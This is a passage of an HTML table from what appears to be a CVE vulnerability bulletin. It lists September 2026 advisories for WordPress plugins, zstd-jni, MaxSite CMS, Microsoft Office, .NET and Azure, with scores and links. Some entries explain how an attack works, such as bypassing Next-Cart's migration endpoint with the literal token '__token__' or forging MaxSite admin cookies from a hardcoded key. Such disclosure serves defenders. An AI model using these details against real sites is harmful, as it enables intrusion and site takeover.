&lt;td&gt;The Live Composer - Free WordPress Website Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.1.18 via deserialization of untrusted input . This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16502&quot; target=&quot;_blank&quot;&gt;CVE-2026-16502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;zstd-jni versions before 1.5.7-14 fail to validate offset and length parameters in the ZstdDictCompress constructor, allowing out-of-bounds memory reads. Attackers can supply untrusted offset or length values to read native heap memory into the compression dictionary, typically causing JVM crashes.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87795&quot; target=&quot;_blank&quot;&gt;CVE-2026-87795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;zstd-jni before 1.5.7-14 performs 32-bit signed bounds checks on three direct-ByteBuffer frame-size native methods, allowing out-of-bounds memory reads via negative or overflowing offsets. Attackers can supply negative offset values near Integer.MIN_VALUE to read unmapped memory, causing JVM termination or extracting arbitrary frame size data from unintended memory locations.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87823&quot; target=&quot;_blank&quot;&gt;CVE-2026-87823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;zstd-jni versions 1.5.5-6 through 1.5.7-13 contain an out-of-bounds read vulnerability in Zstd.getFrameContentSize that fails to validate negative srcPosition arguments. Attackers can supply negative offset values that bypass bounds checks and reach the native frame-header parser, causing out-of-bounds memory reads that lead to information disclosure or JVM crashes.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89046&quot; target=&quot;_blank&quot;&gt;CVE-2026-89046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;zstd-jni versions 1.2.0 through 1.5.7-13 contain an out-of-bounds read vulnerability in the ZstdDictDecompress constructor because offset and length arguments are never validated against the dictionary array bounds. Attackers can supply arbitrary offset or length values to read memory past the end of the supplied array, potentially causing JVM termination.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90560&quot; target=&quot;_blank&quot;&gt;CVE-2026-90560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;zstd-jni before 1.5.7-14 fails to validate the samples buffer capacity in Zstd.trainFromBufferDirect, allowing attackers to read past buffer boundaries by supplying oversized per-sample lengths. Attackers can trigger out-of-bounds memory access by providing crafted sample length arrays that cause the native implementation to walk past the buffer allocation, resulting in JVM termination.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87824&quot; target=&quot;_blank&quot;&gt;CVE-2026-87824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;zstd-jni before 1.5.7-14 contains a use-after-free vulnerability where streams and contexts hold a dictionary&#039;s shared lock only during the load call, allowing the dictionary to be closed while still referenced. Attackers can close a dictionary after associating it with a stream or context, causing subsequent read or write operations to access freed native memory, resulting in silent data corruption or JVM crashes.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87825&quot; target=&quot;_blank&quot;&gt;CVE-2026-87825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;luben--zstd-jni&lt;/td&gt;
&lt;td&gt;zstd-jni versions before 1.5.7-14 fail to validate closed state in setDict, setLongMax, setLevel and setRefMultipleDDicts methods of stream classes. Attackers can call these methods on closed streams to write through freed native pointers, corrupting unrelated objects or crashing the JVM.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87877&quot; target=&quot;_blank&quot;&gt;CVE-2026-87877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mailmunch--MailMunch Grow your Email List&lt;/td&gt;
&lt;td&gt;Subscriber Broken Authentication in MailMunch - Grow your Email List &amp;lt;= 3.2.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81783&quot; target=&quot;_blank&quot;&gt;CVE-2026-81783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Maono--Maono Link&lt;/td&gt;
&lt;td&gt;Maono Link 3.8.13 MaonoAiServices Windows service allows local privilege escalation for a standard user account via improper write privileges in &#039;C:\ProgramData\Maono&#039;. Fixed in 4.0.80.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77827&quot; target=&quot;_blank&quot;&gt;CVE-2026-77827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Marcin--Wise Chat&lt;/td&gt;
&lt;td&gt;Unauthenticated PHP Object Injection in Wise Chat &amp;lt;= 3.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81784&quot; target=&quot;_blank&quot;&gt;CVE-2026-81784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;martinnguyen1990--Next-Cart Store to WooCommerce Migration&lt;/td&gt;
&lt;td&gt;The Next-Cart Store to WooCommerce Migration plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 3.9.8 via the `NCWM_Kitconnect::run()` function. This is due to the plugin registering the `/wp-json/next_cart/v1/migration` REST route with `permission_callback` set to `__return_true` and relying on a hardcoded fallback value of `__token__` in `get_option(&#039;nextcart_token&#039;, &#039;__token__&#039;)` when the `nextcart_token` option has not yet been written to the database. This makes it possible for unauthenticated attackers to bypass authentication to the migration endpoint by supplying the literal string `__token__` as the token, gaining access to privileged handlers that pass attacker-controlled SQL directly to `$wpdb-&amp;gt;query()` and `$wpdb-&amp;gt;get_results()` - enabling arbitrary SQL execution including administrator account creation - and pass an attacker-controlled path to `unlink()`, enabling arbitrary file deletion and full site takeover. The hardcoded fallback is reachable whenever the `nextcart_token` option has not yet been populated, which occurs after WP-CLI, network, or programmatic plugin activation without a subsequent authenticated `wp-admin` visit, as token generation is deferred to `admin_init` via `register_settings()`.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76009&quot; target=&quot;_blank&quot;&gt;CVE-2026-76009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;masteriyo--Masteriyo - LMS&lt;/td&gt;
&lt;td&gt;Unauthenticated PHP Object Injection in Masteriyo - LMS &amp;lt;= 3.4.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62107&quot; target=&quot;_blank&quot;&gt;CVE-2026-62107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MaxSite--MaxSite CMS&lt;/td&gt;
&lt;td&gt;MaxSite CMS through 109.6 ships with a hardcoded session encryption key in application/config/config.php that is never changed during installation, allowing unauthenticated attackers to forge administrator session cookies. Attackers can mint a malicious ci_session cookie with administrator privileges by computing an HMAC-SHA1 using the publicly known encryption key, bypassing authentication checks in is_login() and mso_check_allow() functions.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87929&quot; target=&quot;_blank&quot;&gt;CVE-2026-87929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MaxSite--MaxSite CMS&lt;/td&gt;
&lt;td&gt;MaxSite CMS through 109.6 contains a local file inclusion vulnerability in the ajax and require-maxsite dispatchers that allows unauthenticated attackers to execute privileged handler files by supplying base64-encoded path traversal sequences. Attackers can bypass path validation checks and execute admin-gated handler actions without authentication to access sensitive functionality.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87927&quot; target=&quot;_blank&quot;&gt;CVE-2026-87927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MaxSite--MaxSite CMS&lt;/td&gt;
&lt;td&gt;MaxSite CMS through 109.6 passes the ci_session cookie to unserialize() without class restrictions, allowing unauthenticated attackers to inject PHP objects. Attackers can forge valid session cookies using the hardcoded encryption key to trigger magic methods and corrupt application state or achieve code execution if gadget classes exist.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87930&quot; target=&quot;_blank&quot;&gt;CVE-2026-87930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MDJM Event Management--MDJM Event Management&lt;/td&gt;
&lt;td&gt;The MDJM Event Management WordPress plugin before 1.7.8.5 and the Mobile Events Manager WordPress plugin through 1.4.8.3 do not check a capability, a nonce or the type of the record before permanently deleting the post identified in a request to their playlist entry removal, allowing unauthenticated attackers to destroy arbitrary posts, pages and media attachments, bypassing the trash.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88802&quot; target=&quot;_blank&quot;&gt;CVE-2026-88802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Melograno Venture Studio--Amelia&lt;/td&gt;
&lt;td&gt;Editor SQL Injection in Amelia &amp;lt;= 2.4.9 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62112&quot; target=&quot;_blank&quot;&gt;CVE-2026-62112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MemberPress--MemberPress Corporate Accounts&lt;/td&gt;
&lt;td&gt;The MemberPress Corporate Accounts plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 1.5.39. This is due to a mass assignment vulnerability in the &#039;add_sub_account_user&#039; function that passes the raw &#039;userdata&#039; array to &#039;wp_insert_user&#039; without filtering dangerous keys like role or ID. This makes it possible for authenticated attackers, with subscriber-level access and above who hold a corporate account, to create new administrator accounts or hijack existing administrator accounts by overwriting their email addresses. The vulnerability was partially patched in version 1.5.39.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15451&quot; target=&quot;_blank&quot;&gt;CVE-2026-15451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--.NET 10.0&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69439&quot; target=&quot;_blank&quot;&gt;CVE-2026-69439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--.NET 10.0&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Visual Studio allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69522&quot; target=&quot;_blank&quot;&gt;CVE-2026-69522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--.NET 10.0&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Visual Studio allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71328&quot; target=&quot;_blank&quot;&gt;CVE-2026-71328&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--.NET 10.0&lt;/td&gt;
&lt;td&gt;Exposure of sensitive information to an unauthorized actor in .NET allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69806&quot; target=&quot;_blank&quot;&gt;CVE-2026-69806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--AspNetCore.OData&lt;/td&gt;
&lt;td&gt;Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57099&quot; target=&quot;_blank&quot;&gt;CVE-2026-57099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Arc SQL Server Extension&lt;/td&gt;
&lt;td&gt;Permissive cross-domain policy with untrusted domains in Azure Arc allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62895&quot; target=&quot;_blank&quot;&gt;CVE-2026-62895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure CycleCloud 8.9.2&lt;/td&gt;
&lt;td&gt;Insufficiently protected credentials in Azure CycleCloud allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77909&quot; target=&quot;_blank&quot;&gt;CVE-2026-77909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure HDInsight&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an os command (&#039;os command injection&#039;) in Azure HDInsights allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81349&quot; target=&quot;_blank&quot;&gt;CVE-2026-81349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--HEIF Image Extension&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81353&quot; target=&quot;_blank&quot;&gt;CVE-2026-81353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--HEVC Video Extensions&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58599&quot; target=&quot;_blank&quot;&gt;CVE-2026-58599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--HEVC Video Extensions&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Codecs Library allows an unauthorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58600&quot; target=&quot;_blank&quot;&gt;CVE-2026-58600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78509&quot; target=&quot;_blank&quot;&gt;CVE-2026-78509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78510&quot; target=&quot;_blank&quot;&gt;CVE-2026-78510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69285&quot; target=&quot;_blank&quot;&gt;CVE-2026-69285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69442&quot; target=&quot;_blank&quot;&gt;CVE-2026-69442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69529&quot; target=&quot;_blank&quot;&gt;CVE-2026-69529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69556&quot; target=&quot;_blank&quot;&gt;CVE-2026-69556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69614&quot; target=&quot;_blank&quot;&gt;CVE-2026-69614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69629&quot; target=&quot;_blank&quot;&gt;CVE-2026-69629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69632&quot; target=&quot;_blank&quot;&gt;CVE-2026-69632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69671&quot; target=&quot;_blank&quot;&gt;CVE-2026-69671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69678&quot; target=&quot;_blank&quot;&gt;CVE-2026-69678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69686&quot; target=&quot;_blank&quot;&gt;CVE-2026-69686&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69722&quot; target=&quot;_blank&quot;&gt;CVE-2026-69722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft Office Publisher allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69742&quot; target=&quot;_blank&quot;&gt;CVE-2026-69742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69759&quot; target=&quot;_blank&quot;&gt;CVE-2026-69759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69764&quot; target=&quot;_blank&quot;&gt;CVE-2026-69764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
